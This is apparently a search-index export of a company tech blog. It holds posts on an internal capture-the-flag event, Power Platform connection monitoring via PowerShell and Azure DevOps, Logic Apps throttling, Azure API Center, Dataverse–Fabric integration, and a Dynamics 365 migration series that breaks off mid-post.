Template-Engine häufig serverseitigen Zugriff auf systemkritische Ressourcen hat und so potenziell schwerwiegende Schäden anrichten kann. Diese Schwachstelle mussten wir zum anderen mit einer JWT Algorithm Confusion Attack kombinieren. JWT (JSON Web Token) ist ein Standard zur sicheren Übertragung von Informationen zwischen zwei Parteien, der für Authentifizierungs- und Autorisierungszwecke verwendet wird und verschiedene kryptografische Verfahren unterstützt. Wenn ein Server den erwarteten Verschlüsselungsalgorithmus nicht erzwingt, kann ein Angreifer die Authentifizierung umgehen, indem er den eingesetzten Algorithmus und dessen Eingaben manipuliert.\nDie Schwachstellen, die wir hier ausnutzen mussten, gehören kategorisch zu den am häufigsten vorkommenden Risiken, wie sie in den OWASP Top 10 beschrieben sind – einer Liste der zehn häufigsten Sicherheitsrisiken für Webanwendungen, die von der Open Web Application Security Project Community veröffentlicht wird. Die beiden Kategorien, in welche die Schwachstellen einzuordnen sind, stehen sogar ganz oben auf dieser Liste: Injection und Cryptographic Failures .\nBeide Kategorien hatten wir in unseren internen Weiterbildungen ausführlich behandelt. Das half uns nicht nur bei der Lösung der Aufgabe, sondern sorgte durch diesen Bezug und dem zu realen Bedrohungen auch für einen einprägsamen Aha-Effekt.\nEs war insgesamt wieder ein großartiger und lehrreicher Abschluss der alljährlichen Seminarreihe zu Offensive Security. Solche Übungen schärfen nicht nur unser Wissen und unsere Fähigkeiten, sondern schaffen auch einen wertvollen Praxisbezug, auf den wir in unserer täglichen Arbeit zurückgreifen können. Nicht zuletzt hatten wir auch alle einfach riesigen Spaß zusammen! Mit diesen Erfahrungen sind wir bestens gerüstet für zukünftige Herausforderungen und freuen uns bereits jetzt auf das nächste Mal.\n","date":"31. Oktober 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/okhack-2024_hub72f84de290263d6c8439368bda1aafd_220300_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/okhack-2024_hub72f84de290263d6c8439368bda1aafd_220300_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/okhack-2024/","tags":["devsecops","security"],"title":"OKHack 2024"},{"categories":["How To"],"contents":"If you work with Microsoft Power Platform, you’ve likely experienced the frustration of a well-functioning automated flow suddenly failing and leaving you puzzled as you search for the cause. Often, broken connections are the hidden issue. Whether they expire or fail unexpectedly, these connection problems can disrupt your automated or scheduled cloud flows, causing your processes to break down. You may have error handling and alerting set up within your flows using Microsoft Teams or Outlook connectors, but these can also fail if the connection behind the connector isn’t working.\nUnfortunately, Power Platform doesn\u0026rsquo;t offer a straightforward way to monitor these connections or alert you when they fail. Even integrating with Application Insights doesn\u0026rsquo;t fill this gap.\nHere\u0026rsquo;s the good news: By utilizing the PowerApps Administration PowerShell Module, you can access detailed connection statuses. I\u0026rsquo;ve developed a simple Azure DevOps Pipeline that automates the monitoring of these connections in a specific environment and sends alerts if any issues are detected.\nSetting Up the Pipeline Our goal is to create an Azure DevOps Pipeline that:\nRuns on a schedule (e.g., daily at midnight), Checks the status of Power Platform connections in specified environments, Sends alerts if any connections are failing. Let\u0026rsquo;s break down each component of the pipeline and understand how it works.\n1. Setting Up the Pipeline Trigger and Schedule trigger: - none schedules: - cron: \u0026#34;0 0 * * *\u0026#34; # Triggers every day at midnight UTC displayName: Daily Trigger branches: include: - main always: true batch: false 2. Checking Power Platform Connections Now, let\u0026rsquo;s define the stage of our pipeline where we\u0026rsquo;ll check the connections and install the required PowerShell modules.\nstages: - stage: CheckConnections jobs: - job: CheckConnectionsJob steps: - powershell: | Install-Module -Name Microsoft.PowerApps.Administration.PowerShell -Force -AllowClobber -Scope CurrentUser Install-Module -Name Microsoft.PowerApps.PowerShell -Force -AllowClobber -Scope CurrentUser displayName: \u0026#39;Install PowerApps Modules\u0026#39; Now let\u0026rsquo;s run our PowerShell script to check the connections in our environment. We call checkConnectionStatusesScript.ps1 with parameters for our environment. After running the script, we publish the results so they can be accessed in the next step.\n- powershell: | .\\checkConnectionStatusesScript.ps1 ` -EnvironmentId \u0026#34;$(environment-id)\u0026#34; ` -UserName \u0026#34;$(user-name)\u0026#34; ` -UserPassword \u0026#34;$(user-password)\u0026#34; ` -UserObjectId \u0026#34;$(user-object-id)\u0026#34; ` -OutputFilePath \u0026#34;$(Build.ArtifactStagingDirectory)\\connection_errors.json\u0026#34; displayName: \u0026#39;Check Power Platform Connections\u0026#39; - task: PublishBuildArtifacts@1 inputs: pathToPublish: \u0026#39;$(Build.ArtifactStagingDirectory)\u0026#39; artifactName: \u0026#39;connection_check\u0026#39; displayName: \u0026#39;Publish Artifact: connection_check\u0026#39; 3. Evaluating the Connection Status and Sending Alerts Finally, we evaluate the results and determine whether to fail the pipeline stage intentionally, which can trigger notifications.\n- powershell: | $jsonResult = Get-Content \u0026#34;$(Build.ArtifactStagingDirectory)\\connection_errors.json\u0026#34; | ConvertFrom-Json $hasErrors = $jsonResult.hasErrors if ($hasErrors -eq $true) { Write-Output \u0026#34;Connection errors detected. This step will intentionally fail to trigger an alert.\u0026#34; Write-Output \u0026#34;Errors found:\u0026#34; $jsonResult.errorConnections | ForEach-Object { Write-Output $_ } Write-Output \u0026#34;##vso[task.complete result=Failed;]Connection errors detected.\u0026#34; } else { Write-Output \u0026#34;No connection errors detected.\u0026#34; } displayName: \u0026#39;Evaluate Connection Statuses\u0026#39; PowerShell Script We used a PowerShell script (checkConnectionStatusesScript.ps1) that performs the actual connection check. Let\u0026rsquo;s dive into it.\n1. Parameters and Module Imports and Authentication param ( [string]$EnvironmentId, [string]$UserName, [string]$UserPassword, [string]$UserObjectId, [string]$OutputFilePath ) Import-Module Microsoft.PowerApps.Administration.PowerShell -Verbose Import-Module Microsoft.PowerApps.PowerShell -Verbose $securePassword = ConvertTo-SecureString $UserPassword -AsPlainText -Force Add-PowerAppsAccount -Username $UserName -Password $securePassword 2. Retrieving Connections and Checking for Connection Errors We can retrieve all connections in the specified environment and filter connections to those created by a specific user (identified by User Entra Id ObjectId).\n$connections = Get-AdminPowerAppConnection -EnvironmentName $EnvironmentId $filteredConnections = $connections | Where-Object { $_.CreatedBy.id -eq $UserObjectId } $errorConnections = @() $hasErrors = $false foreach ($connection in $filteredConnections) { foreach ($status in $connection.Statuses) { if ($status.status -eq \u0026#34;Error\u0026#34;) { $errorConnections += $connection $hasErrors = $true break } } } 3. Compile and Output Results as JSON Use ConvertTo-Json to serialize the results and output them to the specified file:\n$result = @{ \u0026#34;hasErrors\u0026#34; = $hasErrors \u0026#34;errorConnections\u0026#34; = $errorConnections | ForEach-Object { @{ \u0026#34;DisplayName\u0026#34; = $_.DisplayName \u0026#34;ConnectionId\u0026#34; = $_.ConnectionId \u0026#34;FullConnectorName\u0026#34; = $_.FullConnectorName \u0026#34;CreatedBy\u0026#34; = $_.CreatedBy \u0026#34;Statuses\u0026#34; = $_.Statuses | ForEach-Object { $_.status } } } } $result | ConvertTo-Json -Compress | Out-File -FilePath $OutputFilePath Here you may also log each connection detail to identify connection errors:\nSet Up Notifications By intentionally setting the pipeline stage as failed when errors are detected, you can leverage Azure DevOps notifications to trigger an alert. Notifications can be sent directly to specific team members or to a custom email address, such as that of a MS Teams channel. This ensures that if a connection fails, the right people are notified to take action.\nThe email you receive appears as shown below. By clicking \u0026ldquo;Show Results\u0026rdquo; you can view the logs to identify the details of the broken connections. I hope this approach is as beneficial for you as it has been for me. By automating Power Platform connection monitoring, we can focus on creating value and spend less time dealing with unforeseen issues. Don’t hesitate to adapt this pipeline to fit your unique needs, and feel free to share your experiences!\n","date":"25. Oktober 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/monitoring-power-platform-connections_hu2d02bb63f2e6f88362c33b1ac343e93e_704483_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/monitoring-power-platform-connections_hu2d02bb63f2e6f88362c33b1ac343e93e_704483_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/an-unusual-but-cool-way-to-monitor-your-connections-in-power-platform/","tags":["dynamics-365","tooling","azure-devops","low-code"],"title":"An Unusual but Cool Way to Monitor your Connections in Power Platform"},{"categories":["How To","Quick-Tipps"],"contents":"Azure Logic Apps sind eine hervorragende Lösung zur Automatisierung von Workflows und verschiedenen Arbeitsprozessen. Wir haben bereits in unserem Blog über einige Tipps und Best Practices von Logic Apps geschrieben. In diesem Beitrag will ich näher auf Probleme und Lösungsoptionen bei der Verarbeitung von Massendaten mittels Logic Apps eingehen.\nMassenaufruf von Logic Apps Bei der Massenverarbeitung von Daten mittels Logic Apps können unterschiedliche Probleme auftreten. Häufig kommt es vor, dass verschiedene Services oder die Logic App selbst zu oft aufgerufen werden. Dies führt zu der HTTP-Antwort 429 Too Many Requests. Werden viele Daten in einer hohen Frequenz verarbeitet, ist es möglich, dass eine Logic App in kurzer Zeit viele Durchläufe tätigt. Ruft die Logic App während des Workflows andere Services auf, kann es sein, dass hier ein Maximum an Anfragen verschickt wird, sodass ein 429 Too Many Requests Fehler in der Logic App auftritt. Ist es nicht möglich oder gewollt die aufzurufenden Services so abzuändern, dass er die Vielzahl an Requests bewerkstelligen kann, können sogenannte Retryoptionen im Aufruf in der Logic App genutzt werden. Bei diesen Einstellungen kann man nicht nur die Anzahl der Wiederholungsversuche konfigurieren, sondern auch eine Zeit zwischen diesen festlegen. Diese Zeit kann entweder exponentiell zwischen den Wiederholungen gesteigert werden oder fix festgelegt werden.\nEine weitere Möglichkeit ist es, die Durchläufe der Logic App selbst zu limitieren. Diese Begrenzung kann in den Einstellungen des Triggers der Logic App vorgenommen werden. Hier ist es möglich, eine Anzahl an erlaubten gleichzeitigen Durchläufen, zwischen 1 und 100 auszuwählen.\nIst die Anzahl der eingestellten maximalen simultanen Durchläufe erreicht, werden weitere Aufrufe in die Warteschlange der Logic App hinzugefügt. Auch für diese Warteschlange ist es möglich, die Anzahl der maximal zu wartenden Logic Apps Aufrufe zu begrenzen. Für die maximale Anzahl an wartenden Durchläufen kann ein Wert zwischen 10 und 100 (bzw. 200 für Multitenant) eingestellt werden. Hat die Anzahl der wartenden Instanzen diese Grenze erreicht, akzeptiert die Azure Logic Apps-Engine keine neuen Workflow-Instanzen mehr zur Ausführung. Der Webhook-Trigger gibt in diesem Fall den Fehler 429 Too Many Requests zurück. Werden die Daten kein erneutes Mal an die Logic App übermittelt, können wichtige Daten im Prozess verloren gehen. Eine Möglichkeit dies zu verhindern, ist die Nutzung einer Azure Queue. Auf die Nutzung von Azure Queues mittels Logic Apps werde ich im Folgenden genauer eingehen.\nNutzung von Azure Queues zum Handeln von Massendaten Azure Queue Storage ist ein Dienst für die Speicherung großer Nachrichtenmengen. Der aufrufende Service, kann folglich so umstrukturiert werden, dass dieser nicht direkt die Logic App aufruft, sondern den zu sendenden Payload in eine Azure Queue schreibt. Jede dieser Nachrichten wird dann einzeln in der Queue gespeichert. In der Logic App, die zuvor den Payload im Aufruf erhalten hat, wird der Trigger so geändert, dass er auf die jeweilige Queue hört. Sobald eine oder eine beliebig eingestellte Anzahl an Nachrichten in der Queue liegt, startet die Logic App und liest die Nachrichten aus. Hierbei werden die Nachrichten, die zuerst in die Queue übertragen wurden, zuerst ausgelesen. Nach erfolgreicher Verarbeitung der Nachrichten in der Logic App, müssen die Daten aus der Queue gelöscht werden. So kann sichergestellt werden, dass keine weiterzuleitenden Nachrichten verloren gehen. Im bereits implementierten Azure Queue Trigger der Logic App, kann ebenfalls die Zeit eingestellt werden, wie oft überprüft werden soll, ob sich Nachrichten in der Queue befinden. Die Logic App wird nur dann aktiviert, wenn die festgelegte Zeit verstrichen ist und Nachrichten in der Warteschlange vorhanden sind. Dies ist besonders praktisch, falls der Durchfluss an Daten nicht dauerhaft ist und die Logic App somit nicht umsonst startet, falls keine neuen Nachrichten vorliegen.\nFazit Bei einem hohen Durchsatz an Nachrichten, entsteht häufig das Problem, dass zu viele Nachrichten in zu kurzer Zeit gesendet werden. Um hier Fehler beim Aufrufen von Logic Apps oder anderen Services zu verhindern, können in den Einstellungen des Triggers unter dem Reiter Concurrency Control die Logic App Durchläufe begrenzt werden. Außerdem können durch Retryoptionen in den Aufrufen anderer Services oder durch eine zwischengeschaltet Azure Queue Datenverlust verhindert werden.\n","date":"11. Oktober 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/logic-apps-massenverarbeitung_hu2035503178454a3f0c44f73fc89a7a25_4871623_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/logic-apps-massenverarbeitung_hu2035503178454a3f0c44f73fc89a7a25_4871623_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/massenverarbeitung-mittels-logic-apps/","tags":["automation","low-code"],"title":"Massenverarbeitung mittels Logic Apps"},{"categories":["Insights"],"contents":"What is the API Center? A prevalent issue in today's API landscape is the uncoordinated API portfolio within large organizations. These portfolios often feature varying development protocols, design styles, and versions, leading to faulty integrations. This complexity is partly due to the sheer number of APIs we encounter today, estimated by to be around 200 million.\nIn response to this phenomenon, known as \u0026ldquo;API Sprawl,\u0026rdquo; Microsoft released the API Center (abbreviated as APIC) in May 2024 after an extended public preview. There are currently three primary use cases we see within the API Center that can help companies grapple API sprawl: API Inventory, Governance, and Discovery/Consumption.\nMaybe you\u0026rsquo;re like me and are now questioning, how exactly the API Center differs from Azure API Management. To make it short: They are fundamentally two distinct services with unique features and core functions. They complement each other well but can also operate independently. But to make it more clear, let\u0026rsquo;s take a deeper look on the API Centers use cases I mentioned before.\nAPI Inventory The API Center’s inventory management allows all APIs to be centralized in one location, offering a comprehensive catalog of all APIs. These APIs can be imported from API Management instances or registered directly in the API Center. During registration, general information, version details, licensing, and more can be provided.\nAPIs can have multiple versions throughout their lifecycle. In the API Center, you can add versions and, if needed, multiple specifications. Additionally, you can add information about environments and deployments for APIs. An environment represents a location where an API runtime can be deployed, such as an API Management platform. A deployment is a location where users can access an API, which can have multiple deployments across various staging environments or regions.\nGovernance A very practical feature of the API Center is the ability to define custom metadata that can be added to APIs. This is useful for searching and filtering. Metadata can have various properties, such as numerical ranges or text properties with minimum and maximum lengths. With the \u0026ldquo;Predefined choices\u0026rdquo; property type, a list of values can be provided for selection. For instance, industry-specific metadata might list various company departments.\nMetadata can be created for APIs, deployments, and environments (or all three) with options for being \u0026ldquo;Required,\u0026rdquo; \u0026ldquo;Optional,\u0026rdquo; or \u0026ldquo;Not applicable.\u0026rdquo;\nAnother governance feature is the linting and analysis capabilities of the API Center. For example, if you use a Function App to run the linting engine, it can respond to predefined events in the API Center, such as adding or replacing an API specification. When the event is received, the linting engine can check if the specification complies with internal policies, and an analysis report is then provided in the API Center.\nDiscovery The API Center offers two native discovery functions: the API Center Portal and the VSC Extension. The portal is similar to the Developer Portal from API Management but can reference APIs from multiple API Management instances, serving as a catalog where users can filter APIs and download specifications of various versions. Unlike the Developer Portal, testing APIs in the API Center Portal is currently not possible; this functionality is intended for the VSC Extension.\nNotably, while the portal was directly usable from the API Center during the public preview, it must be self-hosted after general availability. This initially adds some overhead but offers flexibility, allowing customization and hosting on various infrastructures.\nAdditionally, the API Center Portal requires an app registration with the necessary API permissions. More information can be found in the official documentation.\nVSC Extension The Azure API Center extension for Visual Studio Code enables API management directly within the development environment. With this extension, users can create, discover, test, and use APIs. Key features include:\nCreating APIs: APIs can be created and registered in the API Center, with Visual Studio Code supporting linting and the detection of breaking changes. Discovering APIs: APIs and their documentation can be searched and viewed. Testing APIs: Tools like the Swagger interface or the REST Client can be used for testing API requests. Using APIs: SDK clients for various programming languages like JavaScript, TypeScript, .NET, Python, and Java can be generated. Additionally, there are optional extensions for specific scenarios, such as the REST Client, the Microsoft Kiota extension, and the Spectral extension for API design compliance.\nAlso, the extension can be used within Github Copilot, which offers even more ways for API discovery.\nPricing The API Center is priced at €699 per month, aside from a 90-day trial period. Whether it is worth it for your organization depends on several factors, like the number of APIs. Generally, the more complex the underlying system, the greater the value of the API Center.\nHands-On: Setting Up, Importing APIs \u0026amp; Testing with the API Center In this section, I will demonstrate how quickly you can get the API Center up and running and import your APIs within minutes.\nFirst, create the resource by searching for the API Center in the Azure Portal. During creation, specify the resource group, name, region, and pricing plan. For this example, I will choose the free 90-day trial.\nOnce created, you can access the resource and start adding your APIs. We will import these from an existing API Management resource. There are two options: export the API specifications from an API Management instance using the az PowerShell module and import them into the API Center, or import them directly from API Management using PowerShell. We will opt for the latter.\nFirst, add a managed identity to the API Center. Navigate to the Managed Identities tab of your API Center resource and enable the \u0026ldquo;System assigned\u0026rdquo; status.\nNext, assign a role to this managed identity, allowing it to read the API Management resource data. Navigate to your APIM instance, select Access control, and add a role assignment. Choose the \u0026ldquo;API Management Service Reader\u0026rdquo; role and add the previously created managed identity as a member.\nAlmost done! Now we can import APIs easily using PowerShell. First, find the resource ID of your APIM instance:\n$apimID=$(az apim show --name \u0026lt;apim-name\u0026gt; --resource-group \u0026lt;resource-group-name\u0026gt; --query id --output tsv) To import all APIs, run the following command:\naz apic service import-from-apim --service-name \u0026lt;api-center-name\u0026gt; --resource-group \u0026lt;resource-group-name\u0026gt; --source-resource-ids $apimID/apis/* If you don\u0026rsquo;t want to import all APIs, you can specify the name of a specific API instead of using apis/*.\nConclusion In summary, Microsoft\u0026rsquo;s API Center provides a powerful solution to manage the complexity of modern API portfolios, offering comprehensive tools for API inventory, governance, and discovery. By centralizing API management, it simplifies operations, enhances compliance, and fosters better integration across systems.\nOn a personal note, I\u0026rsquo;ve found the API Center to be an useful asset in streamlining API management processes and ensuring robust governance. Although pricey, it can help reducing API sprawl and could potentially be a game-changer for your API strategy.\nWe at Objektkultur are happy to help you navigate and integrate this new tool seamlessly into your operations. Feel free to reach out to us through our contact form here! ","date":"18. Juli 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/api-center-overview_hu166c7e81b5e46d986b2697254f1d15e4_191324_650x0_resize_q90_h2_box.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/api-center-overview_hu166c7e81b5e46d986b2697254f1d15e4_191324_650x0_resize_q90_box.jpg'\"\u003e\n \n \n \n\n","permalink":"/api-center-a-practical-solution-to-api-sprawl/","tags":["low-code","azure","tooling"],"title":"API Center - A Practical Solution to API Sprawl"},{"categories":["How To"],"contents":"In unserer modernen, datengetriebenen Welt sind Plattformen, die verschiedene Anwendungen und Technologien zusammenführen, von unschätzbarem Wert, da sie Effizienz, Flexibilität, Sicherheit und tiefere Einblicke in Daten bieten. Zwei solcher Plattformen sind die Microsoft Power Platform mit Dataverse und Fabric. Power Platform, mit Dataverse als zentralem Datenspeicher und unterschiedlichen Low-Code-Lösungen wie Power Apps und Power Automate, bildet das Rückgrat von Dynamics 365 und diversen anderen Geschäftsanwendungen. Sie stellt eine robuste und skalierbare Infrastruktur bereit, die sowohl Transaktions- als auch Stammdaten effizient verwaltet und dabei die Entwicklung von benutzerdefinierten Anwendungen und die Automatisierung von Workflows unterstützt. Fabric hingegen ist Microsofts cloudbasierte Datenanalyse- und KI-Plattform der nächsten Generation, die Data Lakes, Data Warehouses, Datenbankdienste und leistungsstarke Analysetools zu einer integrierten Erfahrung vereint.\nObwohl Dataverse und Fabric unterschiedliche Schwerpunkte haben, eröffnet ihre Verknüpfung ein breites Spektrum an neuen Möglichkeiten für Unternehmen. In diesem Beitrag werde ich erläutern, wie die Kombination von Microsoft Dataverse und Microsoft Fabric neue Dimensionen der Datenanalyse eröffnet. Bevor wir die Vorteile dieser Synergie betrachten, werfen wir zunächst einen genaueren Blick auf drei native Integrationsmöglichkeiten zur Verknüpfung dieser beiden Plattformen:\n1. Dataverse TDS Endpunkt Das TDS (Tabular Data Stream) ist ein Protokoll auf Anwendungsebene, das für die Übertragung von T-SQL-Anfragen und Antworten zwischen dem Datenbank-Server und Clients verwendet wird. Es bietet die Möglichkeit, auf Dataverse-Daten direkt als externe Tabellen in Fabric zuzugreifen. Die SQL-Verbindung des Dataverse-Endpunkts verwendet das Dataverse-Sicherheitsmodell für den Datenzugriff. Die Abfrage von Daten für alle Dataverse-Tabellen, auf die ein Benutzer Zugriff hat, ist möglich. Diese Methode eignet sich besonders für kleine Datenmengen oder Transaktionsdaten. Aufgrund der zusätzlichen Kommunikationsschicht ist jedoch mit einer höheren Latenzzeit zu rechnen, insbesondere bei vielen gleichzeitigen oder komplexen Abfragen großer Datenmengen. Um die Leistung zu optimieren, empfiehlt es sich, Abfragen so zu gestalten, dass nur die notwendigen Daten abgerufen werden.\n2. Azure Synapse Link für Dataverse Azure Synapse Link für Dataverse ermöglicht eine nahtlose Integration zwischen Dataverse und Fabric. Diese Verbindungsoption bietet leistungsstarke Funktionen für die Datenanalyse und -verarbeitung, indem sie die ausgewählten Dataverse-Tabellen kontinuierlich im CSV-Format exportiert. Diese werden dann in einem Azure Data Lake Storage Gen2 zwischengespeichert. Im Anschluss sorgt ein Spark-Job in Azure Synapse für die Transformierung dieser Daten in das Delta-Parquet-Format. Der Synapse Link bietet zwei Varianten: Standard und Inkrementell. Bei der Standard-Replikation, werden alle Dataverse-Datensätze, unabhängig von Änderungen, in Fabric übertragen. Der inkrementelle Link kopiert hingegen nur Änderungen (Create, Update, Delete), was effizienter ist. Diese Option ist für große Datenmengen geeignet, erfordert jedoch zusätzliche Azure-Ressourcen.\n3. Fabric Link für Dataverse Der Fabric Link ist die direkteste Verbindung und ermöglicht, Daten aus Dataverse nahtlos in Fabric Data Lakes zu streamen. Dies reduziert die Latenzzeiten erheblich und stellt sicher, dass Daten nahezu in Echtzeit verfügbar sind. Daten, die über den Fabric Link gestreamt werden, werden in Microsoft OneLake gespeichert und automatisch in das Delta-Parquet-Format konvertiert. Änderungen an den Daten in Dataverse werden kontinuierlich in Fabric aktualisiert, wodurch sichergestellt wird, dass die Daten immer auf dem neuesten Stand sind.\nEs ist die leistungsfähigste Option, setzt aber auch Fabric-Premium-Kapazitäten voraus. Diese Kapazitäten sind in verschiedenen Größen erhältlich, die von F2 bis F2048 reichen, wobei jede SKU (Stock Keeping Unit) unterschiedliche Ressourcen für Rechenleistung und Speicherplatz bietet. Kleinere SKUs erfordern zusätzliche Lizenzen wie Power BI Pro oder Premium Per User, während größere SKUs eine umfassendere Nutzung ohne zusätzliche Lizenzanforderungen ermöglichen. Welche Fabric-Lizenz sich besser eignet, hängt vom Anwendungsfall und der Datenmenge ab. Die Wahl der richtigen Verbindungsmethode entscheidet sich je nach Datenmenge, Leistungsanforderungen und Budgetbeschränkungen. Während die ersten beiden Optionen kostengünstiger sind, bietet der Fabric Link die beste Leistung und Flexibilität.\nUse Cases und Mehrwert der Verknüpfung Von Datensilos zu handlungsrelevanten Insights: Durch die Verbindung von Dataverse und Fabric werden Dataverse-Tabellen an einem zentralen Ort (Fabric OneLake) verfügbar, ohne dafür ETL-Pipelines oder komplexe Integrationslogiken zu implementieren. Nach der Verknüpfung werden in Fabric ein Lakehouse, ein SQL-Endpunkt sowie ein Power-BI-Dataset für Dataverse-Daten generiert. Dies erleichtert Data Engineers die Zusammenführung von Daten mit bereits in OneLake vorhandenen Daten mithilfe von Spark, Python oder SQL. Diese reichhaltige Datenbasis kann anschließend mit Power-BI-Berichten, Dashboards und KPIs visualisiert werden. Die erstellten Power-BI-Reports können wiederum nahtlos in Dynamics 365 integriert werden, sodass Erkenntnisse direkt in Handlungen umgesetzt werden können.\nFabric als Datenquelle für virtuelle Tabellen: Fabric kann als Datenquelle für die Erstellung virtueller Tabellen in Dataverse dienen. Dies ermöglicht Benutzern, zusätzliche Datenquellen mühelos in Dataverse zu integrieren und sie in verschiedenen Geschäftsprozessen zu verwenden, ohne die Daten physisch synchronisieren zu müssen.\nLangfristige Datenaufbewahrung und Analysen: Durch die Aktivierung der Langzeitdatenaufbewahrung (Long Term Data Retention) in Dataverse werden historische Daten, die normalerweise gelöscht würden, in einem separaten Data Lake gespeichert. Ist der Fabric-Link aktiviert, lassen sich diese historischen Daten für Trendanalysen, Mustererkennungen und andere fortgeschrittene Analysen in Fabric nutzen.\nHybride Transaktions- und Analytics-Prozesse: Die Kombination aus CRM-Daten mit Analyse- und KI-Funktionen von Fabric ermöglicht ganzheitliche Einblicke über Unternehmensprozesse hinweg. Prädiktive Modelle von Fabric können beispielsweise genutzt werden, um Verkaufs- und Serviceprozesse zu optimieren, finanzielle Entwicklungen vorherzusagen oder die Lieferkette intelligenter zu steuern.\nDatengesteuerte Innovationen mit KI: Die Datenbestände aus Dataverse können in Verknüpfung mit Daten aus anderen Systemen als Trainingsgrundlage für KI-Modelle dienen. Unternehmen können so branchenspezifische KI-Services entwickeln, um ihre Produktivität zu steigern\nFazit Die Integration von Dataverse und Fabric ist ein Meilenstein auf dem Weg zum datengesteuerten, intelligenten Unternehmen. Die Verbindung vereint die effiziente Verarbeitung und Verwaltung von Transaktions- und Stammdaten durch Dataverse mit den leistungsstarken Analyse- und KI-Funktionen von Fabric. Diese Symbiose ermöglicht es Unternehmen, die Grenzen zwischen operativen Transaktionsdaten und analytischen Daten vollständig aufzulösen und somit eine einheitliche, umfassende Sicht auf ihre Datenlandschaft zu erhalten. Dies fördert eine schnellere und fundiertere Entscheidungsfindung, da alle relevanten Datenpunkte in Echtzeit verfügbar sind. Wer diese Chance für sich nutzt, wird nicht nur die Effizienz und Effektivität seiner Datenverarbeitung und -analyse maximieren, sondern auch innovative Prozesse entwickeln können, die zu nachhaltigem Erfolg führen.\n","date":"20. Juni 2024","image":"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\u003cimg loading=\"lazy\" decoding=\"async\" src=\"/images/post/Dataverse-Fabric-connection_hua9162dd2b06d77f4d8ac1614782cdcf9_1260445_650x0_resize_q90_h2_box_3.webp\" alt=\"\" class=\" rounded image-postlist w-100\" width=\"650\" height=\"\" onerror=\"this.onerror='null';this.src='\\/images\\/post\\/Dataverse-Fabric-connection_hua9162dd2b06d77f4d8ac1614782cdcf9_1260445_650x0_resize_box_3.png'\"\u003e\n \n \n \n\n","permalink":"/dataverse-trifft-fabric-wie-zwei-m%C3%A4chtige-plattformen-neue-dimensionen-der-datenverarbeitung-und-analyse-er%C3%B6ffnen/","tags":["crm","dynamics-365","tooling"],"title":"Dataverse trifft Fabric: Wie zwei mächtige Plattformen neue Dimensionen der Datenverarbeitung und -analyse eröffnen"},{"categories":["How to"],"contents":"Revisit - Part 2: Analyze, plan \u0026amp; rebuild the current solution Part 1: Approaches to migrate to Dynamics 365 cloud instances Part 2: Analyze, plan \u0026 rebuild the current solution Part 3: Options for data migration Part 4: Our tooling for data migration Part 5: Migration of activities Part 6: Logging and Error Handling In the first part we wrote about the possible approaches for migrating from on-premises systems to the cloud. In part two, we go deeper on the task that are involved when choosing the “greenfield” approach. We typically take this approach, when we find a customer system with heavy technical debt and thus the wish to start over in the cloud. Therefore, the first step is to analyze the current system with the goal to get a clear picture of what functionality and data has to be migrated to the new cloud system.\nStep 1 – Interview the power users Before we even look at the solution, we setup a meeting with one or two power users of the current system. The goal of the first interview is to get a feeling of how the system is being used and what we can abandon in the upcoming rebuild of the solution. We ask the power users to show us how they do their daily work. During this Job-Shadowing we get a great impression on how the current System is being used. We recommend that at least two Power Apps developers/consultants take part in the meeting, so that one can make the interview and the other can focus in note taking.\nA good question to start the interview is “How do you start your workday?”. Hint: mostly everyone starts their day receiving an e-mail and after that interacting with different software systems. In our case, we focus on the interactions done in the Dynamics system, but don’t forget about the surrounding software systems, often there are several integrations that also must be considered moving to the cloud.\nIn the interview we ask the following questions for every entity of the Dynamics System that we get in touch with, while the power users present their daily workflow:\nWhich fields are actively used? Which fields aren’t in use anymore? Why aren’t they in use anymore? Can we abandon them in the new system? Which Activities are being used? Are there workflows that get triggered by the customer? Which views are in use? Which views can we abandon? Is there data that we don’t need to migrate? At the end, it’s good to ask if we miss a co-worker that has a different view of the system. E.g. Salespeople that points to marketing. If we identify someone, we try to setup a separate meeting.\nFor step 1 the desired output is:\nA list of entities, their views and forms that are used. A list of fields on the used forms that can be discarded. A list of business processes that are actively used. A list of used activities used in the system. Step 2 – Interview the system admins After we got an impression on how the system is being used in daily business. We setup a meeting with the system admins and if present, the inhouse developers of the Dynamics System to get an technical overview. Here we focus on installed solutions and integrations with other systems.\nWhich solution is the main solution regarding customizations? Are there multiple solutions? And if yes, how are they structured? What third party solutions are installed and why? Are there third-party solutions that aren’t used anymore? Are there outgoing or ingoing (data) integrations? And if yes, how are they 